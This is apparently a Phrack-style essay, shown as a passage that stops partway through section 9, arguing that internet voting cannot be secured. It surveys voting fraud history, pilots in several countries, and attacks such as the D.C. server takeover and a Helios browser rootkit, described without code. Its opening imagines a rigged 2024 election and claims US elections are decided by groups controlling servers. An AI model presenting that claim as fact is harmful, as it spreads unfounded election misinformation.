|=‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Internet Voting: A Requiem for the Dream ]=‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ kerrnel ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ phrack@kerrnel.com ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A! Fredome is a noble thing Fredome mays man to haiff liking. Fredome all solace to man giffis, He levys at es that frely levys. A noble hart may haiff nane es Na ellys nocht that may him ples Gyff fredome failyhe, for fre liking Is yharnyt our all other thing. Na he that ay has levyt fre May nocht knaw weill the propyrte The angyr na the wrechyt dome That is couplyt to foule thyrldome, Bot gyff he had assayit it. ‑ John Barbour, Brus Book I [26]

‑‑[ Table of contents

1 ‑ A Backstory

2 ‑ Why Do People Want Internet Voting

3 ‑ The Evolution of Counting Votes

4 ‑ Where is Internet Voting Piloted and Used

5 ‑ Other Problems of Being On the Internet

6 ‑ End‑to‑End Verifiable Internet Voting Schemes

7 ‑ Push Back

8 ‑ But We Use The Internet for [Foo]

9 ‑ Imagining a More Secure Internet Voting System

10 ‑ Conclusion

11 ‑ Acknowledgements

12 ‑ References

‑‑[ 1 ‑ A Backstory

It's June of 2024 and a group of wealthy and powerful men are sitting in a lounge room tucked away in the San Bernardino mountains, 80 miles east of Los Angeles. Thick and acrid cigar smoke fills the room. But sickening to me is the horrible stench of an entire nation's leadership being robbed. The men chat and haggle over what candidate will be elected president, senator, and so on.

The mess here in the U.S. was kickstarted 24 years ago in the 2000 election of Bush v. Gore. It took over a month to declare a winner because of a dispute over vote counting in Florida. George Bush eventually won Florida by 537 votes, or 0.009% [1]. There was a tremendous amount of controversy over confusing ballots, errors with punch cards, and recount anomalies.

In the aftermath, well meaning people called on computers to solve the United State's voting issues. After all, computers have simplified all other matters of life. But these people acted in a bit of arrogance; they didn't understand the technology. They banked with the computer, chatted with the computer, shopped with the computer, so surely it could be trusted for voting as well. But they didn't understand the depths of computer security problems, or why voting is fundamentally different than all the other aforementioned tasks. Security experts, almost universally against electronic voting, were dismissed as paranoid.

In response to public demand, Congress passed the Help America Vote Act that sought to replace punchcard and lever voting machines [38]. And thus it is that our elections are now decided by the whim of powerful groups controlling the elections servers. This paper will dissect the problems that plagued internet voting from the very beginning.

‑‑[ 2 ‑ Why Do People Want Internet Voting

Before taking any serious examination of the flaws inherent in internet voting, the question must be asked, why do people want internet voting? The answer is: 1) civic engagement, 2) money, 3) want of power, and 4) technophilia.

Some activists believe internet voting will increase voter turnout and thus cause higher civic engagement. That leads to the question, "Does internet voting significantly increase turnout?" In 2002 some local elections in the UK used an internet voting pilot, which lead to a 3.5% increase in voter participation [6]. It is, however, impossible to prove that this was because of internet voting [6]. Even if the increase in voter participation was 50%, increasing voter participation at the expense of having trustworthy elections is not a wise scheme. In the United States anyone can vote by mail, by sending in a form and mailing back a ballot that is sent to them. If participating in democracy is not important enough for someone to mail a piece of paper, should we really be bending over backwards to extend democracy to them?

Money is an inherent problem in online voting because there is a lot of money to be made in voting systems. In the United States, open source solutions are often not adopted by the government. If Internet voting was ever seriously put in legislation here, companies would spew all sorts of exaggerations about the security of their systems to receive lucrative contracts to develop the system. Also, in the case of electronic voting machines, the companies long lobbied to keep their source code a proprietary secret. That we entrusted the integrity of our democracy to it was irrelevant to their patent attorneys [7].

There is also an argument that internet voting will save money on the cost of running elections. While it might, it's not clear that the cost of maintaining and developing the technology is actually cheaper than using paper ballots. More importantly, the purpose of an election is not to do it as cheaply as possible, but to have reliable results. It makes no sense to undermine elections to save money.

Why those seeking power want in on internet voting is a longstanding issue. Boss Tweed, the corrupt New York City politician estimated to have stolen from $1 billion to $8 billion in 2010 dollars [8], said, "As long as I get to count the votes, what are you going to do about it?" [35]. Controlling the elections officials counting the votes was (and still is) one of the simplest ways to rig an election. This fraud is committed on local scales, however, as in the United States it is thought to be relatively impractical to rig a federal election county by county.

Of course, it could happen in the U.S., and certainly it has happened in other countries. Consider, the 2011 election in Russia, which was reported to have numerous and severe irregularities on a national level [39]. In Ghana as well there were complaints of widespread fraud designed to rig their 2012 election [40].

Even in countries where this is possible to achieve, it takes a lot of coordination and work to pull off, requiring loyal political machines (or serious threat of violence). Internet voting, however, makes the fraud much easier to commit as it is possible to attack single points of failure ‑‑ a central counting server, or a piece of software running on numerous precinct servers. Who wouldn't want to control the software tallying the votes? At worst an entire country's results could be manipulated, and even if each region or district had their own system, groups could have a lot of influence controlling a regional election.

Finally, technophiles can be a driving factor behind internet voting. These are people who just love having new technology for the sake of having new technology. In fact, I myself am guilty of loving the latest and greatest products. But in some cases, such as internet voting, we ought to be careful to make sure that technology is really improving the situation. So to the technophiles, even though I know they mean well, I ask them to please be restrained and think about the consequences of internet voting before we jump out of our seats for it.

‑‑[ 3 ‑ The Evolution of Counting Votes

Before the American Revolution, voting was generally conducted by voters calling out their votes which a clerk recorded next to their name [2]. This made verification of vote counts very easy, but obviously introduced a lot of opportunity for retaliation, vote buying, etc. By the time of the American Revolution the Americans and French were exploring the use of the secret ballot. The French constitution in 1795 mandated, "all elections are carried on by secret ballot" [2].

Of course as voting by ballot began to catch on, so did ballot stuffing. In 1856 a vigilance committee in San Francisco found a ballot box with a false bottom trap that stored ballots. It would look empty upon inspection before voting, and after the polls closed, the other ballots could be secretly mixed in. Some of the first technology to combat these tricks was quite simple: in 1858 Alan Cummings and Samuel Jollie both patented transparent ballot boxes. The design was quite simple: a glass globe in a wooden frame so that the ballots were always plainly in view from the start of voting to the moment of tabulation. This same principal is still used in many countries, although plastics have generally replaced glass [41].

Twenty years before the advent of the glass ballot boxes, the Peoples' Charter of 1838 in Britain had already described a voting machine. I strongly encourage the reader to have a look themselves at the image in [42], but in it a brass ball was dropped into a hole, corresponding to a candidate, which registered a vote on a dial.

In 1892 the Myers Automatic Voting Booth was first introduced in the United States [43]. According to Douglas W. Jones of the University of Iowa, in the 1890s these machines were on the cutting edge of technology, with a tremendous number of moving parts. These machines did not provide a voting record for each voter, but simply had a counter behind each candidate which displayed their total number of votes.

Electoral fraud was of course already a big problem with these mechanisms, and isn't a new concern with internet voting; my concern is just the extent of it. In 1934 Joseph P. Harris published his report on voting fraud in the United States [44]. He summarized types of fraud as such:

Registration frauds ‑ Register dead, non‑existent voters, etc. Votes are then cast under the fake voters' names on election day.

Repeating ‑ Persons go from precinct to precinct voting under the names of these bogus voters, or even under the names of real voters.

Ballot box stuffing ‑ Officers overseeing the election will stuff ballots into the box. To avoid obvious counting issues, they will check off the name of a no‑show voter for each fraudulent ballot inserted.

Chain ballots ‑ A marked official ballot is given to a voter in the morning. The voter is to deposit the market ballot and return the blank ballot given to them at the polling station. They are paid once the blank ballot is returned. This process continues all day. Harris notes a lack of evidence that this was a common practice.

Assistance to voters ‑ Voters may ask for assistance while casting their ballot. This is an easy way to break voter secrecy and ensure people are voting "the right way." They may ask for assistance willingly, or they may be intimidated into doing so.

Intimidation and violence ‑ Chicago, IL is a notoriously corrupt city. Harris noted whole sections of the city being terrorized by "the gun play of gangsters." Kidnapping had even been used to remove determined poll watchers.

Altering ballots ‑ If a voter fails to vote for all candidates, an election officer can simply add marks for their preferred candidate. Likewise excess marks can be added to disqualify a ballot voting for unfavored candidates.

Substitution of ballots ‑ Legitimate ballots may be discarded, and other ballots substituted for them.

False count and false returns ‑ It's well understood that it's much easier to simply rig the counting of votes than to alter ballots. In some cases ballots are not counted at all, and results are simply fabricated. Votes can also be read and/or recorded incorrectly by various precinct workers.

Altering returns ‑ The precinct returns can be altered by officials in the election office.

Specific to lever voting machines one reported form of fraud is to break the teeth of the gear for a specific candidate's counting mechanism. This means that once during a cycle of the gear, a vote for that candidate is not registered. In Philadelphia in 1978, there was an election to determine if the mayor would be allowed to run for an additional term, as he faced a term limit. During the elections, the machines failed, curiously at high rates in districts that strongly opposed the mayor. Unfortunately, a suitable report of why the machines failed was never produced [2].

The next major technology change in voting came with the advent of the punchcard. Punchcards themselves are just what they sound like ‑‑ cards with perforated dimples that can be punched out to vote for a candidate. However, as was seen in the 2000 United States presidential election, they are susceptible to chads that are not not fully pushed out, creating controversy over how to count those. Around the same time, optical scanning machines rose to popularity. With these machines, which many of us have used for exams in our school days, the voter bubbles in their choice with a pencil or pen.

The next piece of voting technology, which moved closer yet to internet voting, was the direct recording electronic voting machine, or DRE. These are computers in which people place their votes, which are then electronically tabulated. These machines are certainly more efficient than paper ballot counting, but are riddled with grave security issues [47]. I would love to explore those issues further, however, the focus of this paper is on internet voting.

‑‑[ 4 ‑ Where is Internet Voting Piloted and Used

Now that we understand why people want internet voting, and the history of voting technology leading to this point, for this paper it's important that we understand where internet voting is being used already, and what we know about these systems. I begin with an example of Washington D.C. because it is a rare case where the public was allowed to fully penetration test the system in a mock election.

In 2010 Washington D.C. embarked on a pilot project to allow voters to participate in local elections through an online voting system. In September 2010, before collecting real votes, the Board of Elections conducted a pilot test allowing any member of the general public to vote and test the security of the system. Ultimately an attack by a team of researchers from the University of Michigan caused them to cancel the online voting initiative. The researchers were able to seize control of the servers, unmask secret ballots, and alter the final election results. The following information is a summary of what the Michigan team found ( please see [9] for a copy of their paper).

The system itself used a stack consisting of Ruby on Rails, Apache, and MySQL. A front end web server receives HTTPS requests from the voters and then reverse‑proxies them to the application server which hosts the software and stores the ballots. Multiple firewalls work to complicate attacks by blocking outbound TCP connections. The University of Michigan researchers noted that the intrusion detection system in front of the web server failed to decrypt the HTTPS connections carrying their attack.

To login to the system the voter needs to use a voter ID number, registered name, residence ZIP code, and 16‑character hexadecimal PIN. These credentials were sent out to voters in the mail.

The ballots themselves are PDF files, filled out by the user with a PDF reader, and then uploaded to the server. To safeguard ballot secrecy, they are encrypted with a public key issued by elections officials. When the election ends they are transfered from the server to an offline machine, holding the private key, where they are decrypted and counted. Think about that ‑‑ they go through the trouble of keeping the ballot counting machine offline but allow arbitrary PDF files to be opened on it. :>

Here are a few of the attacks that the Michigan team found. They stole the public key, which despite the term public key should actually be kept secret because it allows the application server to encrypt arbitrary ballots to substitute real ballots. Once they stole the key, they indeed used it to replace all of the previously cast ballots with forged ballots that voted a ticket of their choosing. They then replaced the ballot processing function with a modified function that would replace each voted ballot with their forged ballot. This also broke the secret ballot concept, as they used the new ballot processing function to track each voter. And, an unencrypted copy of each ballot was stored in /tmp by the PaperClip Rails plugin before encryption, so they could correlate the file time to the logs and then match past ballots to voters. The database credentials were located in the bash history file.

A 937 page PDF file containing all of the voters login credentials was even located on the server, sitting in /tmp. And these were the credentials for the REAL election, not merely the pilot test. Had the real election not been canceled they could have used those to vote as actual citizens.

Of course once finished they cleaned up the logs and removed all of their files from the application server's directories.

To mark their territory after completely infiltrating the online voting system, they programmed the confirmation page to play the University of Michigan fight song when each user cast a ballot.

Despite their musical calling card, it took officials in D.C. 36 hours to detect the attack and stop the pilot (another test user asked on a mailing list what song is played for a successful vote, raising their suspicions).

There are many other examples of internet voting in use. These are given as examples of countries using internet voting and not necessarily examples of it being broken, but I do take the liberty of pointing out concerns that I may have.

Canada. Although not used in federal elections, there are municipalities in Canada that allow internet voting. A demo of the Intelivote System is available at [45], however it had known hiccups in recent elections. In 2010 the system was being used across Ontario and it crashed late in the election [46]. The president of Intelivote Systems Inc. claimed it was because of unexpectedly high user demand, combined with a hardware failure. The company claimed "the integrity of the vote activity was not compromised and (Intelivote) is confident in the official election results" [46].

Very troubling, however, is that the company, in the statement I found, did not report having any outside parties evaluate the system to verify the integrity. Any company would certainly have financial incentive to cover up a hacked election, although I have no evidence to suggest InteliVote did any such thing. I simply raise the point. A more reasonable, and less accusatory scenario, is that they themselves may not have realized if they were hacked, or not have gone to enough length to find out. The fact that these incentives exist mean it is critical any internet voting system is heavily audited by independent agencies.

New Jersey. On October 29th, 2012 Super‑Storm Sandy battered the east coast of the United States, with New Jersey being particularly hard hit. The 2012 United States presidential election was held just a week later, and many displaced residents needed a way to vote. The governor ordered displaced citizens be allowed to vote by e‑mail or fax [17][18]. Not only does this break ballot secrecy ‑‑ your email address being tied to your ballot ‑‑ but your ballot can be compromised with hacking techniques from the early days of Phrack, rather than advanced attacks.

Although I have yet to see a detailed analysis of the results of the e‑mail voting in New Jersey, I have found reports of at least a few issues [36]. Voters voting by e‑mail are required to mail in a paper copy of their ballot, however several county clerks, and the executive director of the New Jersey Democratic Party, did not know this. Most likely thousands of voters did not know either. The requirement of mailing a separate paper ballot always raises the question that I don't understand: why bother? If they actually count all of the paper ballots that each person had to mail, the e‑mail voting was just a nice song and dance and actually did not make anything more convenient or cheaper. If they do not verify all the paper ballots, there was no point in sending one, and then the results are not trustworthy. This leaves a choice between convenient or trustworthy, and in an election we should always go for the trustworthy option (paper ballots).

Arizona. The 2000 Arizona Democratic Party presidential primary was the first major election held over the internet [19]. For the non‑Americans out there (most of the world), the political parties in America have many candidates who want to run for president under the party's name, and thus they hold a primary election to pick their candidate. The private company, Election.com, hired to run the election reported that there was no hacking. This was a groundbreaking precedent for a major public election to include internet voting.

United States. The United States allows deployed service members of the military to vote online.

Estonia. The first country to use internet voting on a national basis was Estonia in 2005. Estonians have a national ID which contains an embedded digital certificate, which combined with an individual's PIN, can be used to uniquely identify that individual. An individual needs a $7 smart card reader, which will scan their digital certificate. The voting website can then use this, combined with the PIN, to authenticate the individual voting [20]. According to the PDF in [20] the ballots are secured and kept secret through this process:

"A double‑envelope scheme used for postal voting in some countries guarantees the secrecy of the vote. The voter's choice is encrypted by the voting application (i.e. voter seals the choice into an inner blank envelope) and then signs it digitally (i.e. puts the inner envelope into the outer one and writes his or her name and address on it). The signed and encrypted votes (outer envelopes) are collected to the central site for checking and ensuring that only one vote per voter is counted. Before counting, digital signatures with personal data (outer envelopes) are removed and anonymous encrypted votes (inner envelopes) are entered into the ballot box for counting. The scheme uses public key cryptography"

So what do I think of this implementation of internet voting? A few thoughts. First off, Estonia is rare in that all of its citizens have a national ID card equipped with a smart chip inside. Even then a team of observers from OSCE/ODIHR (Organization for Security and Cooperation in Europe/Office for Democratic Institutions and Human Rights) found major security issues with the 2007 election [2].

Among the issues, the project manager was able to push changes to the voting software at will, meaning a version modified by insiders could easily be put onto the server. Furthermore, a code review report was never produced, and there is no policy in place dictating when internet votes would be invalidated. I cannot stress this point enough, as it applies to all countries: most internet voting advocates say, "Don't worry, if there was fraud we could always invalidate the internet votes." But nobody smart enough to hack a country's election will commit fraud in such an obvious way that people will know to invalidate the votes. Rather they would generate results that were statistically likely to happen and then hide all traces of their activities.

Austria. In 2009, Austria used internet voting for the Federation of Students' student union election according to the U.S. Election Assistance Commission (EAC) [48]. Although Austria does not allow for the use of internet voting in parliamentary elections, student union elections in Austra are regulated by law, and were allowed to use internet voting. Scytl, a European company, was selected as the software provider for the election. For the election Austria used a national ID card, which had two distinct PIN numbers that a voter had to use during the voting process. They also needed a card reader for the national ID card.

Finland. Per the same EAC report, Finland allowed internet voting for municipal elections in 2008 [48]. In Finland, kiosks at polling places were used to access the internet voting application, rather than allowing users to vote at home. Votes were encrypted and digitally signed by the kiosk before transmission to the server. This election wound up having a bug causing certain votes not to be counted, and thus had to be redone anywhere where internet voting was used. As a result, they scrubbed the pilot. As a note, the Finnish chose to use kiosks at the polling place because they felt voting at home risked ballot secrecy and allowed the bribery and intimidation of voters.

France. The EAC discussed internet voting being used in France dating back to 2001 [49]. In 2001, Voisins‑le‑Bretonneux conducted an internet voting pilot that used kiosks at the polling place like the Finnish did. This was for municipal elections only. In 2009 the French Ministry of Foreign Affairs setup internet voting for French citizens living overseas. It was designed to make it easier for overseas voters to vote, and 310,000 French citizens used it. Scytl provided the technology along with Atos Origin. The report says Opida, a security consulting company, audited the election. Strangely I cannot find the existence of a company called Opida, however there is a security consulting firm called Oppida located in France so I assume this is the company in question [49].

Switzerland. In Switzerland, three of the 26 Swiss cantons have internet voting as an option: Geneva, Neuchatel, and Zurich [49]. Since the three all use different systems, I want to focus on Geneva's system. Geneva's government owns and runs the system itself. Voters received a Voter Card in the mail, which had the information needed to vote by internet, mail, or in person. The voter used the information from this card to login to the online voting system. They then selected choices on a ballot, and saw a confirmation screen displaying all of their choices before casting the ballot. Lastly, the voter needed to use a pin code located on the Voter Card to cast the ballot.

Interestingly the Geneva state council enforced the following 11 requirements for the election (taken verbatim from [49]):

1) Votes cannot be intercepted nor modified

2) Votes cannot be known before the ballot reading

3) Only registered voters will be able to vote

4) Each voter will have one and only one vote

5) Vote secrecy is guaranteed

6) The voting application will resist any DoS attack 7) Voters will be protected against identity theft

8) Number of cast votes = number of received ballots 9) It will be possible to prove that citizen X voted 10) The system will not accept votes outside the ballot opening period

11) The system will be auditable

I find these requirements curious, as in theory it's not possible to meet them in a computerized system. The issue is the use of terminology such as "cannot" and "prove." For example, I assume where it says "votes cannot be intercepted nor modified," SSL is used to encrypt the web traffic. But of course SSL can be attacked, and thus votes can be intercepted or modified.

The Swiss do use one really cool piece of technology in their voting technology: quantum encryption [24][54]. The details of quantum encryption are outside the scope of this article, but it uses photons of light to send encrypted messages. It is based on the fact that the quantum state of a particle cannot be observed without altering it permanently, so eavesdroppers cannot read the photons without destroying the information encoded in them. The Swiss use the quantum encryption technology to transfer vote counts over fiber optic cable from a vote counting station in the city, to a government data center in the suburbs of Geneva.

United Kingdom. According to the EAC report [48], the UK has conducted over thirty internet voting pilots for local elections between 2002 and 2007. In a 2002 pilot, nine locations enabled internet voting pilots. The Liverpool pilot was particularly interesting in that voters could vote via SMS, as well as from their home computers. Liverpool's was run by Election.com, the same company that ran Arizona's Democratic Primary in 2000.

In Liverpool, electors were mailed an information sheet with PINs, passwords, candidate codes, the web address and instructions. Voters using the internet voting went to the web‑site and entered the PIN and password specified in their information sheet. The voters then made their selections and voted after confirming their choices. The vote was then transmitted over the internet to Election.com's servers, where it was tallied.

Voters using SMS to vote sent a text message that was formatted as such: <PIN>

<PASSWORD>

<CANDIDATE NUMBER>

They then sent the message to a phone number specified in their information sheet. Apparently each ward used a different phone number. The voter then receives a confirmation text message, and the vote was then sent to the same Election.com server as the internet votes. I have a lot of concerns about voting via SMS. I am not very knowledgeable with SMS protocols, but the information I have read indicates SMS messages are encrypted with the broken A5 cypher and only between the phone and the cell tower [50]. Furthermore, I know from firsthand experience how many times I've tried to send a text and it doesn't show up until hours or days later. Not a system I want casting my vote.

In Liverpool, for the 2002 pilot, the EAC reported that 59.4% of voters voted in person, or by mail, 16.4% voted by internet, 17.4% by telephone, and 6.7% by text message.

State of New South Wales. Can't forget the Aussies out there! The last example I will pull from the EAC report [48] is the State of New South Wales which allowed voting from home by internet and telephone in their 2011 state election. They called the system iVote. It was designed for voters with disabilities (including legal blindness), illiterate voters, and voters traveling or living 20km or more from their polling place. Everyone Counts [51] was responsible for the core technology behind the voting system. Voters registered to use the iVote system over the internet or by calling an iVote operator. When they registered, voters specified a six digit PIN. The voter then received an eight digit iVote number (which was sent by email, mail, telephone, or text). In that trial, 2,259 voters voted by phone and 44,605 voters voted by internet.

The government of New South Wales produced a post election report on the election [52]. They commissioned Pricewaterhouse Coopers (PwC), one of the "big four" accounting firms, to generate the report. The report at [52] claims they found that no tampering had occurred with the ballots. However they say only that this information was gleaned from "cryptographic integrity checks," which is not specific enough for me to draw any conclusions. Consider the Helios example, presented later in the paper, as proof that ensuring that nothing was tampered with on the server side as little evidence that the election was not rigged.

In the report they note that they tested the iVote system and made sure the test results recorded matched the test votes cast for internet and phone voting. However, a team of researchers at Princeton University wrote malware for a Diebold Accuvote‑TS machine which disabled itself during test mode, and then completely wiped itself after the election leaving no traces [53]. The same type of attack could work against an online voting system such as iVote, although of course there is no evidence is has been done... yet.

The PwC report also contains a list of incidents in Appenix C [52]. The problems ranged from relatively harmless (voters were sent the wrong iVote numbers and then given the correct iVote numbers and asked to vote again) to grave. On March 23, 2011 there was an 8 minute outage of the iVote system between 10:24 AM and 10:33 AM for which no cause was ever identified. Not every outage in a system is a sign of foul play but in a system which runs a state's election, I would like better answers than "undetermined cause."

‑‑[ 5 ‑ Other Problems of Being On the Internet

Cyber warfare has become big business. For example, on March 20, 2013, South Korean TV networks and banks were crippled in a cyber attack that was ultimately blamed on North Korea [11]. The U.S. government seems paranoid about cyberattacks originating in Iran and China [29]. While it is difficult to know how much truth there is to individual claims about who is attacking whom, I think we can all agree that there are certainly aggressive attacks occurring between countries. If a national election was being conducted by internet voting, a foreign country would have a high degree of incentive and desire to disrupt or control the election.

Another speculative but real threat would be a phishing and/or misinformation attack. For example, in 2012, in Madison, Wisconsin, a U.S. city, the Republican party sent a mailing to heavily democratic areas giving them incorrect registration instructions [30]. It's not clear if this was deliberate or an honest mistake, but it is suspicious, and you could imagine sending e‑mails to people that would cause them to go to the wrong web‑site to vote. It could be an identical look alike to the real election web‑site and either throw their vote way, or even steal their credentials and use them at the real voting web‑site. This is speculative and it's doubtful an entire election could be rigged this way, but such tricks could deprive a certain percentage of voters of their voting rights, and could even tip the balance in an extremely tight race.

It would also be possible to harvest credentials in the weeks before an election by sending e‑mails instructing voters to "enter their credentials to verify their online voting account." Those credentials could then be used to vote on election day. Like the misinformation attack, this would have limited impact but could still affect a tight election and cause confusion amongst the general population.

Another attack that has been used in real life against voting systems is the browser rootkit attack, whereby one secretly installs a browser extension that modifies the behavior of webpages. The Helios voting system [32] is an open source internet voting system that is designed to allow users to vote a secret ballot but still verify that the ballot was received and tallied correctly (source code available at [33]). In other words, it is a mathematically and cryptographically correct model of internet voting. Helios uses client side JavaScript extensively, to store the ballot itself and the Exponential ElGamal encryption used [34] is implemented in JavaScript. For some of the computationally intensive crypto procedures are implemented in Java, requiring the JVM to be installed on the web browser. JavaScript and JVM... can one ask for a better attack vector? :>

In the Helios system, candidates are allowed to provide a PDF file (another fantastic attack vector) that explains their candidacy for voters to view. So the scheme is probably clear at this point: exploit a PDF vulnerability to install a malicious browser rootkit as an extension (they picked Firefox but claim IE would have been just as easy to attack), which is actually injected into an already installed extension so the user does not notice a new extension being installed. The browser rootkit spies on the user's web traffic, and swings into action whenever the user visits the voting web‑site. At that point it has full control over what the clients does and sees on their end of the voting system.

Researchers Saghar Estehghari and Yvo Desmedt implemented this attack against Helios. Their complete report is available at [31].

In their case they have Alice running against Bart Preneel, and they want Alice to win, so she uploads the rootkitted PDF. In this attack, only a candidate or admin could carry it out because voters cannot upload their own PDFs to the server.

With the rootkit installed, when a voter votes for Bart, they change the vote to Alice. But they modify the confirmation page and plaintext views of the ballot to show that Bart was voted for, fooling the voter. The last issue is if the voter decides to verify the ballot, the system will show the "Encryption doesn't match" message as the result. They fixed this by changing the verification function to always output "Encryption is verified," under all circumstances.

This attack could have been distributed through any means and attacked any system. The point is that as long as every home computer is a potential voting kiosk, it's not a problem if the election server proves too difficult to compromise. By hacking the users browser to change votes behind the scenes, the election can still be manipulated silently. Even a properly designed voting system can be compromised because the voting kiosk is not secure.

There exists another problem with the fact that every home computer is now potentially a voting kiosk. Vote rigging through bribes or intimidation will once again rise in popularity. This is currently hard to do because people vote with a secret ballot, in a private booth. No thug can pay them a bribe knowing that they actually voted for them, nor beat them knowing that they voted for the wrong person (except for the "voter assistance" ploy described earlier). With internet voting, you might simply watch them vote, or host a "community voting event" at your house, to shake everyone down.

As a reminder, why focus our scrutiny solely on the potential for outsider attacks? As I quoted Boss Tweed earlier, as long as those in power control the insiders counting the votes, they can seldom be stopped. Most of us know the famous example from the movie "Office Space," where the company's software is programmed to siphon tiny fractions of every transaction into a bank account and it then goes horribly wrong. But it would not be hard at all for some of the programmers of the voting software to sneak in some code to alter the election (consider the Estonia incident where the project manager could push changes to the server at will).

‑‑[ 6 ‑ End‑to‑End Verifiable Internet Voting Schemes

A cryptographically verifiable voting scheme, Helios, has already been mentioned in this paper. These schemes try to compensate for the problems that come with voting over a network composed of untrusted and often compromised components. However, it was demonstrated that a browser rootkit successfully undermines the voting scheme. There are other systems which go a step farther by using specialized printers to produce physical, cryptographically signed, receipts. These schemes are closer to a DRE machine, since they require the voters to go to a voting location with specialized equipment, but I want to address the schemes because they could presumably be networked to the internet to facilitate in vote aggregation and counting, and because they use internet bulletin boards to post the proof that the ballots were correctly counted.

One of the best known of these schemes is David Chaum's "Secret Ballot Receipts: True Voter‑Verifiable Elections" scheme [60]. The detailed cryptography of the scheme is outside of the scope of this paper, but interested readers should read both Chaum's paper [60], and a vulnerability analysis of the scheme conducted by Chris Karlof et al. [61], which identifies key flaws.

In Chaum's scheme, voters receive a physical receipt of their ballot, which consists of two separately laminated layers. Put together, the layers make up a human readable image of the ballot. But each individual half, alone, appears to be nothing but random black and white pixels. After the machine prints the receipt, the voter tells the machine which half they will keep as their proof (this must be done after the machine has printed the receipt), and shreds the other half at the polling location. Later, cryptographic material embedded in the layer can be used by election trustees to tabulate the ballot, and voters can verify that their vote was counted correctly by locating their receipt on the public bulletin board.

I am not aware of any proofs that the cryptographic scheme used by Chaum is flawed, however as Karlof et al. point out, these voting schemes are implemented on systems with a very wide scope, and there are many opportunities for flaws in the systems themselves, as well as human error. The social engineering attacks they present are interesting. Ordinary citizens do not understand cryptography to enough depth to generally notice even a very minor alteration in the cryptographic protocol. For example, if the machine asks the voter which portion of the receipt the voter wishes to retain (top or

bottom), before printing the signed receipt, the machine can construct the two receipts to decrypt to an arbitrary ballot of the attacker's choosing (see [61] for an explanation of why that is).

This is exactly my problem with such schemes. As I explain in the conclusion, one of the central tenants of democratic elections is that ordinary citizens see and understand the voting process, and have faith in the results. Ordinary citizens, including myself, do not understand these schemes to the appropriate depth to monitor the election and have faith and understanding in the process. Worse yet, no matter how sound the math behind the crypto is, the implementation of the crypto primitives must be absolutely correct. A nation state could easily detect and take advantage of the most subtle statistical flaws in the pseudorandom number generation, for example (that is if they had not already backdoored the key generating hardware used in the election).

Ordinary citizens can watch voters put their ballots into boxes and then later watch the ballots be removed and counted. Ordinary citizens can see someone take all the ballot boxes into a secret backroom and later emerge with them. Ordinary citizens, including myself, cannot look at a cryptographically signed receipt and say, "Ah, the random number generation is flawed!". Thus a complicated cryptographic scheme, not well understood by the general population, is not the way to have trust in democratic elections.

‑‑[ 7 ‑ Push Back

Despite the number of countries adopting internet voting pilots, there has also been backlash against electronic voting in general in certain countries.

In 2007 the Dutch banned the use of their Nedap voting machines [58], citing the lack of a paper trail. In addition in 2009 Ireland abandoned their e‑voting initiative citing high cost as well as a lack of trust in the computers' ability to securely tabulate an election [57].

I find Germany's 2009 ban of electronic voting machines the most interesting however, as many of the German Federal Constitutional Court's findings coincide with my criticisms of internet voting (note: Germany banned *electronic* voting machines, not internet voting, but it is still related).

The German court found that the machines were unconstitutional because the average citizen could not be expected to understand what the machine was doing when it tabulated the results (it's a "black box"). In addition, they considered that in a traditional voting system manipulations and fraud are far more difficult to execute and carry a significant chance of detection. However, a bug or deliberate fraud inserted into voting software would be easy to place and difficult to detect [59].

‑‑[ 8 ‑ But We Use The Internet for [Foo]

One of the common fallacies to support internet voting is that if the internet is used for other important activities, such as banking and commerce, why can't it be trusted for voting? The two main answers are that online banking is not secret, and that banking fraud can be papered over with money.

Suppose I go online and send $1,000 to my landlord for rent. The landlord will see that I sent $1,000, I will see that my account had $1,000 deducted, and the bank will have records of these transactions. I can call the landlord and confirm that he received the money. If he lied and claimed he didn't, the bank would still have records of it and so I could prove that he was paid. If somehow the transaction went badly and the landlord was paid $2,000, I would see this on my statement and could demand the money back because my lease dictates the landlord is owed only $1,000. But with voting, because ballots are secret, this type of verification would never work. I know I sent a ballot, but I do not know that it was counted towards whomever I wanted to vote for. I don't even know that it was counted at all. If this was the landlord example, I would see that a mystery amount was deducted from my account, have no idea what my current balance is, and have no way of knowing that landlord received the money, with neither him nor the bank having records of it.

The other issue is the notion of papering over fraud. When a business evaluates a piece of technology, the basic question is if the amount of money saved using the technology outweighs whatever the technology will cost. The increase in fraud caused by online banking is definitely a cost of online banking, but it saves banks and consumers so much time and money, that it makes sense to paper over the problem. That is, when money is stolen from people's accounts, the banks are willing to just put the money back in and take the loss, because they still save money. But this does not work with voting. You cannot paper over a stolen election ‑‑ the election is rigged and the entire country's confidence is ruined (if anybody even notices that there was fraud).

In e‑commerce it is not uncommon at all to allow a spouse or child to use your credentials to make a purchase. However, it is generally illegal to allow someone else to vote with your name and ballot. But with internet voting it is impossible to know when this is happening. Imagine a Silk Road [15] website being setup for the purpose of selling voting credentials in exchange for Bitcoins.

‑‑[ 9 ‑ Imagining a More Secure Internet Voting System

The book, Broken Ballots [2], mentions that in 1875 Henry Spratt of England was granted a U.S. patent on a voting machine. The patent, U.S. Patent 158,652, claims that it allows "balloting (that is, voting secretly) without the aid of balls, tickets, passes, letters, figures, official stamps, or ballot‑boxes; second, absolute secrecy, it being impossible to discover for whom the voter has voted; third, while secrecy is obtained, all parties, pro and con, can be satisfied the voter has voted; fourth, at the close of the poll the result of the voting can be instantly made known; fifth, a complete check as to the numbers voted, preventing any tampering with the apparatus."

This claim is noteworthy because it remains the central tenant that voting technology still tries to solve. Of course, we now know that even 140 some years later, we have not been able to solve this problem.

Matt Bishop describes the properties academia would say an e‑voting system must meet [56], and I've listed the ones I find relevant to this article:

1) The e‑voting system must not be able to associate votes with a particular voter

